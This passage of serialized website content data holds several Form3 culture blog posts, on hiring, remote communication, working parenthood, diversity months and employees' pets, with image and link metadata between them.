role has a slightly different interview process. On average, an interview process with us has 4 steps but the Talent Team will explain everything in the preliminary video screen. And, you will never go more than 7 days without hearing from us.",[],{"type":25,"text":47008,"spans":47009},"During the entire process, there will be ample opportunities for you to ask questions and to get to know us better. We want to ensure that you have all the information you need to make an informed decision about your next career move.",[],{"type":25,"text":47011,"spans":47012},"We’re excited to get to know you better and to see what you can bring to the Form3 team. So why not apply today and take the first step in your journey with us?",[],{"type":25,"text":47014,"spans":47015},"We look forward to hearing from you soon!",[],"rich_text$b4e7f969-39f4-4b0d-ad8e-fb57c72247ab",{"id":47018,"uid":18737,"type":42493,"data":47019},"alz1rREAAC4AUWrw",{"title":18739,"excerpt":47020,"card_image":47021,"published_date":18747,"reading_time":4603,"tag":42772,"dek":47026,"featured_image":47027,"about_form3":47028,"client_about_heading":5,"client_about_body":47029,"author_name":26309,"author_title":45545,"author_photo":47030,"author_bio":47033,"author_linkedin":47034,"slices":47035,"meta_title":18739,"meta_description":47020},"While it’s important to remember that a manager is not solely responsible for the mental wellbeing of their team, you cannot avoid the fact that managers often have the most insight into an individual’s life.",{"dimensions":47022,"alt":18739,"copyright":5,"url":47023,"id":47024,"edit":47025},{"width":412,"height":412},"\u002F_prismic-media\u002Fab9b449de7b33e97-DxaI1XUvTyhg6LAp_on-mental-health-as-a-manager.p","DxaI1XUvTyhg6LAp",{"x":398,"y":398,"zoom":399,"background":400},"I’m in the very privileged position of having a work environment which fosters personal growth. A generous budget combined with paid learning days provides opportunities which would otherwise be impossible. So, given I stepped into a management position 18 months ago, these resources should clearly be dedicated to management courses - right? Project management, promoting synergy, reading social cues to manipulate your team into productivity. These are the skills you need to thrive as a manager by corporate standards, and we work with really big banks so it’s a no brainer.Don’t worry, what you’re currently thinking is correct: that’s complete nonsense.Yes, we have to care about timelines, deadlines, capacity, velocity, and everything else which keeps a project moving forward. I know this is a bit of a hot take in the management world but messing those things up is low-risk. You missed the deadline, the customer is angry... so what? It’s not the end of the world; the sun is still going to rise tomorrow. But then what should we be focusing on as managers? In my opinion this is quite obvious: as managers of people, we should be focusing on people skills rather than management skills.Let me capture a little bit of that journey - hopefully it inspires you to do the same.",{},[],[],{"dimensions":47031,"alt":26309,"copyright":5,"url":45548,"id":45549,"edit":47032},{"width":5080,"height":5081},{"x":398,"y":398,"zoom":399,"background":400},[],{"link_type":434},[47036,47050,47065],{"variation":437,"version":438,"items":47037,"primary":47038,"id":47049,"slice_type":468,"slice_label":5},[],{"body":47039},[47040,47042,47045,47047],{"type":988,"text":18761,"spans":47041,"direction":445},[],{"type":25,"text":18764,"spans":47043,"direction":445},[47044],{"start":18767,"end":18768,"type":765},{"type":25,"text":18770,"spans":47046,"direction":445},[],{"type":25,"text":18773,"spans":47048,"direction":445},[],"rich_text$1c2856cf-4ca8-40fc-92bc-cb1151cf64a3",{"variation":437,"version":438,"items":47051,"primary":47052,"id":47064,"slice_type":468,"slice_label":5},[],{"body":47053},[47054,47056,47058,47060,47062],{"type":988,"text":18781,"spans":47055,"direction":445},[],{"type":25,"text":18784,"spans":47057,"direction":445},[],{"type":25,"text":18787,"spans":47059,"direction":445},[],{"type":25,"text":18790,"spans":47061,"direction":445},[],{"type":25,"text":18793,"spans":47063,"direction":445},[],"rich_text$e3a865fb-cc8c-41bb-bb79-ca965b0444c3",{"variation":437,"version":438,"items":47066,"primary":47067,"id":47073,"slice_type":468,"slice_label":5},[],{"body":47068},[47069,47071],{"type":988,"text":18801,"spans":47070,"direction":445},[],{"type":25,"text":18804,"spans":47072,"direction":445},[],"rich_text$857768a2-7352-41f5-8cb0-5d42e7edb103",{"id":47075,"uid":47076,"type":42493,"data":47077},"alz1xREAAC4AUWt5","asynchronous-communication",{"title":47078,"excerpt":18630,"card_image":47079,"published_date":18636,"reading_time":1633,"tag":42560,"dek":18630,"featured_image":47084,"about_form3":47085,"client_about_heading":5,"client_about_body":47086,"author_name":47087,"author_title":47088,"author_photo":47089,"author_bio":47094,"author_linkedin":47098,"slices":47101,"meta_title":47078,"meta_description":18630},"Asynchronous communication",{"dimensions":47080,"alt":47078,"copyright":5,"url":47081,"id":47082,"edit":47083},{"width":412,"height":412},"\u002F_prismic-media\u002F8df929ac0c663eb6-8-eRfwcSgFQ8bBBT_asynchronous-communication.png","8-eRfwcSgFQ8bBBT",{"x":398,"y":398,"zoom":399,"background":400},{},[],[],"Jan Akerman","Lead Engineer",{"dimensions":47090,"alt":47087,"copyright":5,"url":47091,"id":47092,"edit":47093},{"width":5080,"height":5081},"\u002F_prismic-media\u002F3a5fc645134665fd-egwqtJJg8FE0oy8y_49d852ef-8b5c-482c-bbc2-fc88f45.jpeg","egwqtJJg8FE0oy8y",{"x":398,"y":398,"zoom":399,"background":650},[47095],{"type":25,"text":47096,"spans":47097},"Jan Akerman is a Lead Engineer for our Tooling Team and joined Form3 in August 2019.",[],{"link_type":491,"key":47099,"url":47100,"target":493},"ab31bec3-fe35-47ef-afbe-8f69a0c21a2b","https:\u002F\u002Fwww.linkedin.com\u002Fin\u002Fjan-akerman-6a532b101\u002F",[47102,47117,47132,47143],{"variation":437,"version":438,"items":47103,"primary":47104,"id":47116,"slice_type":468,"slice_label":5},[],{"body":47105},[47106,47108,47114],{"type":988,"text":18649,"spans":47107,"direction":445},[],{"type":25,"text":47109,"spans":47110,"direction":445},"With Form3’s Engineering Teams being 100% remote, synchronous communication usually takes the form of video calls. We spend a lot of time on calls with our fellow engineers. Fortunately, most of that time is spent collaborating, focused on solving problems with the help of techniques like pair programming. Asynchronous communication typically takes place over Slack, our main messaging tool, and GitHub in the form of discussions on issues that define problem statements and requirements.  ",[47111,47112],{"start":4586,"end":10956,"type":765},{"start":1986,"end":18656,"type":489,"data":47113},{"link_type":491,"url":18658,"target":5106},{"type":25,"text":18660,"spans":47115,"direction":445},[],"rich_text$d1976f11-b10e-49d8-b34a-809c10707e51",{"variation":437,"version":438,"items":47118,"primary":47119,"id":47131,"slice_type":468,"slice_label":5},[],{"body":47120},[47121,47123,47125,47127,47129],{"type":988,"text":18668,"spans":47122,"direction":445},[],{"type":25,"text":18671,"spans":47124,"direction":445},[],{"type":25,"text":18674,"spans":47126,"direction":445},[],{"type":25,"text":18677,"spans":47128,"direction":445},[],{"type":25,"text":18680,"spans":47130,"direction":445},[],"rich_text$32acf1f1-9728-4311-98c6-3ab260633ca1",{"variation":437,"version":438,"items":47133,"primary":47134,"id":47142,"slice_type":468,"slice_label":5},[],{"body":47135},[47136,47138,47140],{"type":988,"text":18705,"spans":47137,"direction":445},[],{"type":25,"text":18708,"spans":47139,"direction":445},[],{"type":25,"text":18711,"spans":47141,"direction":445},[],"rich_text$ebf1d85f-d414-4ecf-b5db-e57f58335f11",{"variation":437,"version":438,"items":47144,"primary":47145,"id":47159,"slice_type":468,"slice_label":5},[],{"body":47146},[47147,47149,47151,47153,47155],{"type":988,"text":18719,"spans":47148,"direction":445},[],{"type":25,"text":18722,"spans":47150,"direction":445},[],{"type":25,"text":18725,"spans":47152,"direction":445},[],{"type":25,"text":18728,"spans":47154,"direction":445},[],{"type":25,"text":47156,"spans":47157,"direction":445},"This article is written from the perspective of Jan Akerman, an Engineer on our Tooling Team. Due to the autonomy of team’s at Form3 experiences can vary, but the underlying values remain the same.",[47158],{"start":398,"end":3304,"type":765},"rich_text$815801ee-4f76-46fa-a244-6e4a32acac8d",{"id":47161,"uid":47162,"type":42493,"data":47163},"alz1gxEAACkAUWoS","celebrating-womens-history-month-being-a-new-working",{"title":47164,"excerpt":47165,"card_image":47166,"published_date":46936,"reading_time":418,"tag":42499,"dek":47172,"featured_image":47173,"about_form3":47179,"client_about_heading":5,"client_about_body":47180,"author_name":44182,"author_title":44183,"author_photo":47181,"author_bio":47184,"author_linkedin":47185,"slices":47187,"meta_title":47164,"meta_description":47223},"Celebrating Women’s History Month -  ‘Being a new working mother at Form3’","As we celebrate Women’s History Month at Form3 during March, we also wanted to take the opportunity to recognise women primary carers working in the tech industry, as unfortunately it is still considered a male-dominated sector. Olivia Harrison, Senior People Partner for our R&D function, joined our Form3 team a few months ago, and she tells us all about her first-hand experience on what this looks and feels like, navigating the job market as well as balancing home and work life.",{"dimensions":47167,"alt":47168,"copyright":5,"url":47169,"id":47170,"edit":47171},{"width":412,"height":412},"Celebrating Women’s History Month","\u002F_prismic-media\u002F14c2aaa86b96723a-zsVZqP1c3b-4spFh_celebrating-womens-history-mont.png","zsVZqP1c3b-4spFh",{"x":398,"y":398,"zoom":399,"background":400},"As we celebrate Women’s History Month at Form3 during March, we also wanted to take the opportunity to recognise women primary carers working in the tech industry, as unfortunately it is still considered a male-dominated sector.Olivia Harrison, Senior People Partner for our R&D function, joined our Form3 team a few months ago, and she tells us all about her first-hand experience on what this looks and feels like, navigating the job market as well as balancing home and work life.",{"dimensions":47174,"alt":47175,"copyright":5,"url":47176,"id":47177,"edit":47178},{"width":501,"height":23861},"Women’s History Month","\u002F_prismic-media\u002F70d10129842bdc53-nJ2_yz4bMdEhdc1s_ecc19c91-1cac-457b-a9bf-fb16892.png","nJ2_yz4bMdEhdc1s",{"x":398,"y":398,"zoom":399,"background":400},[],[],{"dimensions":47182,"alt":44182,"copyright":5,"url":44186,"id":44187,"edit":47183},{"width":5080,"height":5081},{"x":398,"y":398,"zoom":399,"background":400},[],{"link_type":491,"key":47186,"url":44192,"target":493},"b13d5349-6c5a-4924-abf3-a982b17d46e7",[47188,47211],{"variation":437,"version":438,"items":47189,"primary":47190,"id":47210,"slice_type":468,"slice_label":5},[],{"body":47191},[47192,47195,47198,47201,47204,47207],{"type":746,"text":47193,"spans":47194},"Being a new working mother at Form3",[],{"type":25,"text":47196,"spans":47197},"Within August 2022 my world as I knew it came crashing down when I (alongside my team) were informed we were being made redundant due to a restructure. I had a lot of emotions, my imposter syndrome was high but mostly the overarching worry of what this could mean for me as a successful working mother, could I still have a successful career as well as be a great mum?",[],{"type":25,"text":47199,"spans":47200},"Luckily, I was able to answer that question very quickly, in the guise of the Form3 Senior People Partner interview process. Everyone was so warm and welcoming and were genuinely interested to know more about me as a person, what I wanted from the role, how I wanted the role to work and what I might need as well of course as assessing my capabilities to fulfil the role. This was such a refreshing take for an interview process especially as the candidate market was hot and I was itching to be part of this impressive culture. ",[],{"type":25,"text":47202,"spans":47203},"All Form3 job adverts encourage candidates to discuss flexible working arrangements within the interview process, not only this but the recruiter actively started the discussion about flexible working which was a huge relief for me. Having had prior history within interview stages at other companies and having to broach the topic of flexible working to quickly be shut down had left a sour taste about having to do so again. However, I was blessed with being supported by such a wonderful internal recruiter who highlighted that my 4 day working request was common amongst many other Form3 employees and Form3 would happily support effective upon joining. ",[],{"type":25,"text":47205,"spans":47206},"This was so breathtakingly refreshing, there would be no trial period, no waiting period until a probation had been passed and no ask to be flexible and work on my non-working day which is a day I spend with my very young daughter. Form3 understands how important it is to have time with family. I couldn’t quite believe my luck, so of course had to say yes to joining!",[],{"type":25,"text":47208,"spans":47209},"Since becoming part of the Form3 People Team, I haven’t looked back, I am able to achieve my aim of having a successful and well supported career by peers and my stakeholders, as well as being a present mummy. I’m able to drop and pick my daughter up from nursery due to working remotely, have a day in the week just for the two of us and be stretched and fulfilled in my career. Yes, I may still have imposter syndrome but who wouldn’t, when you work with such a talented bunch of people. ",[],"rich_text$d9ae0636-af7a-4701-8653-03db11956052",{"variation":437,"version":438,"items":47212,"primary":47213,"id":47222,"slice_type":468,"slice_label":5},[],{"body":47214},[47215],{"type":25,"text":47216,"spans":47217},"If you would like to read more on this topic, we recently became MotherBoard signatories, a community, content & meetup series, and charter designed to drive positive change throughout the UK technology and data. You can find the blog post here, Spotlight on Form3 Chief Operating Officer (COO), Eimear O'Connor.",[47218],{"start":22376,"end":29413,"type":489,"data":47219},{"id":47220,"type":15847,"tags":47221,"lang":5,"slug":15849,"first_publication_date":5,"last_publication_date":5,"link_type":542,"isBroken":15850},"Y_c65hIAACkAdL-v",[],"rich_text$13567ec1-5d2e-4993-801a-8fdd0450f8b6","As we celebrate Women’s History Month at Form3 during March, we also wanted to take the opportunity to recognise women primary carers working in the tech industry, as unfortunately it is still considered a male-dominated sector.",{"id":47225,"uid":24113,"type":42493,"data":47226},"alz1oxEAACoAUWq-",{"title":24115,"excerpt":24116,"card_image":47227,"published_date":24122,"reading_time":506,"tag":42499,"dek":24116,"featured_image":47233,"about_form3":47236,"client_about_heading":5,"client_about_body":47237,"author_name":5,"author_title":5,"author_photo":47238,"author_bio":47239,"author_linkedin":47240,"slices":47241,"meta_title":24115,"meta_description":24185},{"dimensions":47228,"alt":47229,"copyright":5,"url":47230,"id":47231,"edit":47232},{"width":412,"height":412},"black history month","\u002F_prismic-media\u002F0ba5fb308cebc916-T3fpq3qst6UcYMa-_black-history-month-at-form3.pn","T3fpq3qst6UcYMa-",{"x":398,"y":398,"zoom":399,"background":400},{"dimensions":47234,"alt":47229,"copyright":5,"url":24126,"id":24127,"edit":47235},{"width":501,"height":502},{"x":398,"y":398,"zoom":399,"background":400},[],[],{},[],{"link_type":434},[47242],{"variation":437,"version":438,"items":47243,"primary":47244,"id":47279,"slice_type":468,"slice_label":5},[],{"body":47245},[47246,47248,47250,47252,47254,47257,47259,47261,47263,47265,47267,47269,47272,47274,47277],{"type":746,"text":24140,"spans":47247},[],{"type":25,"text":24185,"spans":47249},[],{"type":25,"text":24146,"spans":47251},[],{"type":25,"text":24149,"spans":47253},[],{"type":1151,"text":47255,"spans":47256},"Salary benchmarking – we regularly benchmark salaries to ensure these are consistent with local markets",[],{"type":1151,"text":24155,"spans":47258},[],{"type":1151,"text":24158,"spans":47260},[],{"type":1151,"text":24161,"spans":47262},[],{"type":1151,"text":24164,"spans":47264},[],{"type":1151,"text":24167,"spans":47266},[],{"type":1151,"text":24170,"spans":47268},[],{"type":1151,"text":47270,"spans":47271},"Partnering with Redi School of Digital Integration and Stemmettes to offer our time and resources to educate individuals from different backgrounds",[],{"type":25,"text":24176,"spans":47273},[],{"type":25,"text":47275,"spans":47276},"As Inclusion Officer, I was able to use my Learning Days and Learning Allowance to attend the Black Young Professionals 2022 Leadership Conference and London Tech Week’s Black History Month celebration – two events filled with invaluable insights from entrepreneurs, founders, CEOs, artists, politicians, actors, TV presenters (and the list goes on!) on their professional and personal journeys as black individuals in their industry.",[],{"type":25,"text":24182,"spans":47278},[],"rich_text$7a0405cf-cd65-46e5-b8e2-27abe8d431e5",{"id":47281,"uid":47282,"type":42493,"data":47283},"alz1nREAAC0AUWqZ","celebrating-500-employees",{"title":47284,"excerpt":47285,"card_image":47286,"published_date":47292,"reading_time":506,"tag":43049,"dek":5,"featured_image":47293,"about_form3":47294,"client_about_heading":5,"client_about_body":47295,"author_name":42776,"author_title":42701,"author_photo":47296,"author_bio":47299,"author_linkedin":47302,"slices":47304,"meta_title":47284,"meta_description":47415},"Celebrating 500 employees","In traditional Form3 fashion, we love an opportunity to recognise our achievements. Since starting in 2016 with four banking and technology leaders, Form3 celebrates an amazing accomplishment of reaching 500 employees in over 26 different countries!",{"dimensions":47287,"alt":47288,"copyright":5,"url":47289,"id":47290,"edit":47291},{"width":412,"height":412},"Celebrating 500 employees ","\u002F_prismic-media\u002F6365df1a37ff3f05-FIOohKVEz4VB3Vdc_celebrating-500-employees.png","FIOohKVEz4VB3Vdc",{"x":398,"y":398,"zoom":399,"background":400},"2022-12-05",{},[],[],{"dimensions":47297,"alt":42776,"copyright":5,"url":42779,"id":42780,"edit":47298},{"width":5080,"height":5081},{"x":398,"y":398,"zoom":399,"background":400},[47300],{"type":25,"text":42784,"spans":47301},[],{"link_type":491,"key":47303,"url":42788,"target":493},"8542e098-ed5a-44dc-be79-11460389ab59",[47305,47390],{"variation":437,"version":438,"items":47306,"primary":47307,"id":47389,"slice_type":43098,"slice_label":5},[],{"headline":47308,"sub_headline":47309,"slides":47310,"theme":543,"overlay_pattern":544,"background_continuation":545},"In traditional Form3 fashion, we love an opportunity to recognise our achievements.","From celebrating work anniversaries, to hiring in a new location or starting out with a client, everyone comes together to honour these incredible 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our next one is pretty big…",[],{"type":25,"text":47398,"spans":47399},"Since starting in 2016 with four banking and technology leaders, Form3 celebrates an amazing accomplishment of reaching 500 employees in over 26 different countries! You could say our remote-first environment has helped to make this possible - but a lot of time and effort has gone into hiring the best talented people to join our mission in becoming the world’s most trusted provider of payment technology. ",[],{"type":25,"text":47401,"spans":47402},"Welcoming new employees around the world has been an exciting journey for Form3. As we welcome new hires to Form3 each Monday, we get the opportunity to learn about each individual as they share their specialism, background, and hobbies outside of work. We take pride in being a diverse and multicultural company so there is also always a period of excitement when we have the opportunity to meet our new colleagues, find out where they’re from, what interests them, and maybe some of their fun facts.",[],{"type":25,"text":47404,"spans":47405},"That being said, headcount growth is not easy, and in no way have we figured it all out. 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The emoji reactions run high every time, as the shared content guarantees to make someone’s day. Some may say it may be yet the best channel out there….",[],{"type":25,"text":47495,"spans":47496},"While this sound like a bias statement, a study from the University of Indiana back in 2015 found that pets can improve mental health. Have you ever watched a video of a cute cat and got a warm, fuzzy feeling? You are not alone. This study found that after watching the cat-related online media, individuals felt happier, more positive and energetic.",[47497],{"start":1486,"end":9251,"type":489,"data":47498},{"link_type":491,"url":47499,"target":493},"https:\u002F\u002Fwww.sciencedirect.com\u002Fscience\u002Farticle\u002Fabs\u002Fpii\u002FS0747563215004343",{"type":25,"text":47501,"spans":47502},"In line with this and to encourage team interactions while working remotely, to celebrate World Mental Health Day on 10th October 2022, we organised a virtual pet visit via Zoom, where our team could give their pets their 15 minutes of fame! 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Sometimes he puts himself in front of the computer screen so that I can stop working, rest a little and be with him. I know that when I go on vacation he doesn't have a good time, he doesn't like to be alone or with anyone he doesn't know, so working at home for me has made our bond stronger and Catsy happier.",[],{"type":25,"text":47583,"spans":47621},[47622],{"start":398,"end":8472,"type":593},"rich_text$f195acc3-d4d0-4e42-b7d4-72704118426f",{"variation":437,"version":527,"items":47625,"primary":47626,"id":47641,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":47627,"body":47628,"cta_label":5,"cta_link":47632,"aside_type":533,"aside_image":47633,"aside_video":47636,"aside_video_poster":47637,"aside_video_reduced_motion":47638,"aside_video_url":5,"aside_embed":47639,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":47640,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[47629],{"type":25,"text":47630,"spans":47631},"Leo, Shepherd Mix. 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Having the freedom to work from home and to be able to flex my working hours around my personal life means that, if I want to, I can take him out for a long walk during lunchtime, soak in some rays and free some much-needed headspace, so that I can get back to work refreshed.",[],{"type":25,"text":47656,"spans":47657},"It also means I don't have to feel guilty for leaving him alone at home or rush back from the office to make sure he gets a walk. Have you ever looked for a dog sitter in London?! I found it more challenging than sorting childcare for my son. With remote work the line between work and free time can sometimes get a little blurry. Walking Leo at the beginning and end of my work day helps me to find that balance.",[],{"type":25,"text":47659,"spans":47660},"He may not be the most productive co-worker, but I think he is certainly the cutest.",[],{"type":25,"text":47547,"spans":47662},[47663],{"start":398,"end":2477,"type":593},"rich_text$af5cb869-7b52-4d6a-af13-f73b224a6e6f",{"variation":437,"version":527,"items":47666,"primary":47667,"id":47682,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":47668,"body":47669,"cta_label":5,"cta_link":47673,"aside_type":533,"aside_image":47674,"aside_video":47677,"aside_video_poster":47678,"aside_video_reduced_motion":47679,"aside_video_url":5,"aside_embed":47680,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":47681,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[47670],{"type":25,"text":47671,"spans":47672},"Nala, Cavalier King Charles Spaniel",[],{"link_type":434},{"dimensions":47675,"alt":47671,"copyright":5,"url":47462,"id":47463,"edit":47676},{"width":6562,"height":6789},{"x":398,"y":398,"zoom":399,"background":400},{"link_type":536},{},{},{},{"link_type":542},"content_block$93629897-1917-45f8-89bb-e9c52808c122",{"variation":437,"version":438,"items":47684,"primary":47685,"id":47699,"slice_type":468,"slice_label":5},[],{"body":47686},[47687,47690,47693,47696],{"type":746,"text":47688,"spans":47689},"Sophie Prime – People Team Apprentice",[],{"type":25,"text":47691,"spans":47692},"This is Nala.",[],{"type":25,"text":47694,"spans":47695},"With the flexibility that work provides, it allows me to be able to look after Nala and walk her during the day. She seems sooo much happier now that I am around all the time! It's really helped my mental health being able to go for out nice walks during my lunch breaks as it helps to clear my head and have a break from the laptop! Oh, and she loves sitting on my table next to me whilst I work!",[],{"type":25,"text":47547,"spans":47697},[47698],{"start":398,"end":2477,"type":593},"rich_text$47257be3-f809-4dc5-9e45-d3b869e362ae",{"variation":437,"version":527,"items":47701,"primary":47702,"id":47717,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":47703,"body":47704,"cta_label":5,"cta_link":47708,"aside_type":533,"aside_image":47709,"aside_video":47712,"aside_video_poster":47713,"aside_video_reduced_motion":47714,"aside_video_url":5,"aside_embed":47715,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":47716,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[47705],{"type":25,"text":47706,"spans":47707},"Miles & Missy, Bengal Tabby's",[],{"link_type":434},{"dimensions":47710,"alt":47706,"copyright":5,"url":47474,"id":47475,"edit":47711},{"width":6562,"height":6789},{"x":398,"y":398,"zoom":399,"background":400},{"link_type":536},{},{},{},{"link_type":542},"content_block$bf8799d7-db94-4186-8ef7-a8f4bb953c14",{"variation":437,"version":438,"items":47719,"primary":47720,"id":47734,"slice_type":468,"slice_label":5},[],{"body":47721},[47722,47725,47728,47731],{"type":746,"text":47723,"spans":47724},"Kevin Crawford – Senior People Partner",[],{"type":25,"text":47726,"spans":47727},"These are Miles & Missy.",[],{"type":25,"text":47729,"spans":47730},"They would prefer if I never left the house, so my work schedule suits them perfectly. They get all the stimulation and attention they need during the day, which means they have a great routine and sleep all night. Bring on summer when we can all soak up the sunshine in the garden together!",[],{"type":25,"text":47547,"spans":47732},[47733],{"start":398,"end":2477,"type":593},"rich_text$69a05906-3f3c-467d-bf34-ff08046ca538",{"variation":437,"version":527,"items":47736,"primary":47737,"id":47752,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":47738,"body":47739,"cta_label":5,"cta_link":47743,"aside_type":533,"aside_image":47744,"aside_video":47747,"aside_video_poster":47748,"aside_video_reduced_motion":47749,"aside_video_url":5,"aside_embed":47750,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":47751,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[47740],{"type":25,"text":47741,"spans":47742},"Holie, Black Lab",[],{"link_type":434},{"dimensions":47745,"alt":47741,"copyright":5,"url":47480,"id":47481,"edit":47746},{"width":6562,"height":6789},{"x":398,"y":398,"zoom":399,"background":400},{"link_type":536},{},{},{},{"link_type":542},"content_block$d9bbfb0a-fbf4-4e25-ad95-04da59e94657",{"variation":437,"version":438,"items":47754,"primary":47755,"id":47775,"slice_type":468,"slice_label":5},[],{"body":47756},[47757,47760,47763,47766,47769,47772],{"type":746,"text":47758,"spans":47759},"Clara Diaz – People Partner",[],{"type":25,"text":47761,"spans":47762},"This is Holie.",[],{"type":25,"text":47764,"spans":47765},"Holie enjoys sunny Spring walks and sitting close to me when I have my lunch break, in case any food accidentally drops.",[],{"type":25,"text":47767,"spans":47768},"I love that I can go and say hi to her during the day, thanks to the flexibility I have at Form3.",[],{"type":25,"text":47770,"spans":47771},"She will usually be napping or relaxing on her designated dog-bed, but it’s so nice to see what she is up to; it’s a one-of-a-kind break from your screen!",[],{"type":25,"text":47583,"spans":47773},[47774],{"start":398,"end":8472,"type":593},"rich_text$0fffc4ab-90d6-4f37-9eec-0b4d3771a592",{"id":47777,"uid":25147,"type":42493,"data":47778},"alz1qhEAACkAUWre",{"title":25149,"excerpt":25150,"card_image":47779,"published_date":25157,"reading_time":643,"tag":42560,"dek":5,"featured_image":47784,"about_form3":47787,"client_about_heading":5,"client_about_body":47788,"author_name":5,"author_title":5,"author_photo":47789,"author_bio":47790,"author_linkedin":47791,"slices":47792,"meta_title":25149,"meta_description":25150},{"dimensions":47780,"alt":25149,"copyright":5,"url":47781,"id":47782,"edit":47783},{"width":412,"height":412},"\u002F_prismic-media\u002F341263c478313ad2-MSsohFzAlLaCyZQR_its-all-about-communication.png","MSsohFzAlLaCyZQR",{"x":398,"y":398,"zoom":399,"background":400},{"dimensions":47785,"alt":25153,"copyright":5,"url":25160,"id":25161,"edit":47786},{"width":501,"height":502},{"x":398,"y":398,"zoom":399,"background":400},[],[],{},[],{"link_type":434},[47793],{"variation":437,"version":438,"items":47794,"primary":47795,"id":47827,"slice_type":468,"slice_label":5},[],{"body":47796},[47797,47799,47801,47803,47805,47807,47809,47812,47814,47816,47818,47820,47822,47824],{"type":746,"text":25174,"spans":47798},[],{"type":25,"text":25177,"spans":47800},[],{"type":25,"text":25150,"spans":47802},[],{"type":25,"text":25182,"spans":47804},[],{"type":25,"text":25185,"spans":47806},[],{"type":25,"text":25188,"spans":47808},[],{"type":25,"text":47810,"spans":47811},"I personally look at the emoji itself without paying attention at the label of it, so I ended up using the :blush: one to express joy. That face, to me, is a happy face until I realised that I was delivering the wrong message #epicfail.",[],{"type":25,"text":25194,"spans":47813},[],{"type":25,"text":25197,"spans":47815},[],{"type":25,"text":25200,"spans":47817},[],{"type":25,"text":25203,"spans":47819},[],{"type":25,"text":25206,"spans":47821},[],{"type":25,"text":25209,"spans":47823},[],{"type":25,"text":47825,"spans":47826},"We’ve enjoyed sharing a little of how we communicate in Engineering at Form3, but we’d also love to hear what works well for other businesses out there!",[],"rich_text$705d08e1-2ae1-4e54-b2f7-b730f9ccadb5",{"id":47829,"uid":47830,"type":42493,"data":47831},"alz1eREAACsAUWng","how-we-celebrated-lgbt-history-month-at-form3",{"title":47832,"excerpt":47833,"card_image":47834,"published_date":23981,"reading_time":418,"tag":42499,"dek":47840,"featured_image":47841,"about_form3":47846,"client_about_heading":5,"client_about_body":47847,"author_name":42776,"author_title":42701,"author_photo":47848,"author_bio":47851,"author_linkedin":47854,"slices":47856,"meta_title":47832,"meta_description":47833},"How we celebrated LGBT+ history month at Form3","In February, we marked the annual celebration of lesbian, gay, bisexual, and trans and non-binary (LGBT+) history month in the UK!",{"dimensions":47835,"alt":47836,"copyright":5,"url":47837,"id":47838,"edit":47839},{"width":412,"height":412},"LGBT+ history month","\u002F_prismic-media\u002F9f4d3f2ef649d215-Vy2Ds6GSLMtXddmV_how-we-celebrated-lgbt-history-.png","Vy2Ds6GSLMtXddmV",{"x":398,"y":398,"zoom":399,"background":400},"In February, we marked the annual celebration of lesbian, gay, bisexual, and trans and non-binary (LGBT+) history month in the UK! We believe that everyone at Form3 has the right to be respected regardless of their sexual orientation or identity. As we embark on our Diversity, Equity, Inclusion and Belonging (DEI&B) journey, we want to create a culture that is inclusive and allows everyone to bring their authentic selves to work. Therefore, we believe everyone can benefit from learning more about LGBT+ topics and history.",{"dimensions":47842,"alt":47836,"copyright":5,"url":47843,"id":47844,"edit":47845},{"width":501,"height":23861},"\u002F_prismic-media\u002Faa9a91e26ce66952-Emto8rFaU2eNNcI9_c113c923-173f-44fc-ade5-b3c2f69.png","Emto8rFaU2eNNcI9",{"x":398,"y":398,"zoom":399,"background":400},[],[],{"dimensions":47849,"alt":42776,"copyright":5,"url":42779,"id":42780,"edit":47850},{"width":5080,"height":5081},{"x":398,"y":398,"zoom":399,"background":400},[47852],{"type":25,"text":42784,"spans":47853},[],{"link_type":491,"key":47855,"url":42788,"target":493},"724750cc-3631-4e38-9250-9446766040ec",[47857,47902],{"variation":437,"version":438,"items":47858,"primary":47859,"id":47901,"slice_type":468,"slice_label":5},[],{"body":47860},[47861,47864,47871,47877,47883,47886,47889,47892,47895,47898],{"type":746,"text":47862,"spans":47863},"Here are a few things we did during LGBT+ history month…",[],{"type":25,"text":47865,"spans":47866},"We were joined by Inclusive Employers who hosted a session on LGBT+ issues, gender identities and sexual orientation through the perspective of LGBT+ history. During the session we were able to learn about the terminology, what the letters and + represent, people who have influenced the conversation and the historical experience of LGBT+ people in the UK. ",[47867,47868],{"start":2769,"end":846,"type":593},{"start":2769,"end":846,"type":489,"data":47869},{"link_type":491,"url":47870},"https:\u002F\u002Fwww.inclusiveemployers.co.uk\u002F",{"type":25,"text":47872,"spans":47873},"One area of discussion that I found particularly interesting was the huge impact that Section 28 had on the LGBT+ community between 1988 and 2003. Section 28 was a law passed in 1988 to prohibit the promotion of homosexuality by local authorities and schools. This created a sense of oppression because people couldn’t be who they were. Thankfully times have changed a lot since then and at Form3, we want to ensure that everyone feels safe, welcomed and free to be themselves.",[47874],{"start":5103,"end":10310,"type":489,"data":47875},{"link_type":491,"url":47876},"https:\u002F\u002Fwww.bbc.co.uk\u002Fbbcthree\u002Farticle\u002Fcacc0b40-c3a4-473b-86cc-11863c0b3f30",{"type":25,"text":47878,"spans":47879},"The theme for LGBT+ history month this year was ‘Behind the Lens’ which aims to celebrate LGBT+ people’s hard work and contributions made to the production of film and cinema. We saw this as a great opportunity to also shed light on LGBT+ experiences on screen so we created a thread of related TV show\u002FMovie recommendations in our #tv-and-movies-social Slack channel. We received a lot of recommendations, some of which include:",[47880],{"start":2868,"end":9237,"type":489,"data":47881},{"link_type":491,"url":47882},"https:\u002F\u002Flgbtplushistorymonth.co.uk\u002Flgbt-history-month-2023\u002F",{"type":3373,"text":47884,"spans":47885},"Imagine me and You (2005) ",[],{"type":3373,"text":47887,"spans":47888},"Call me by your name 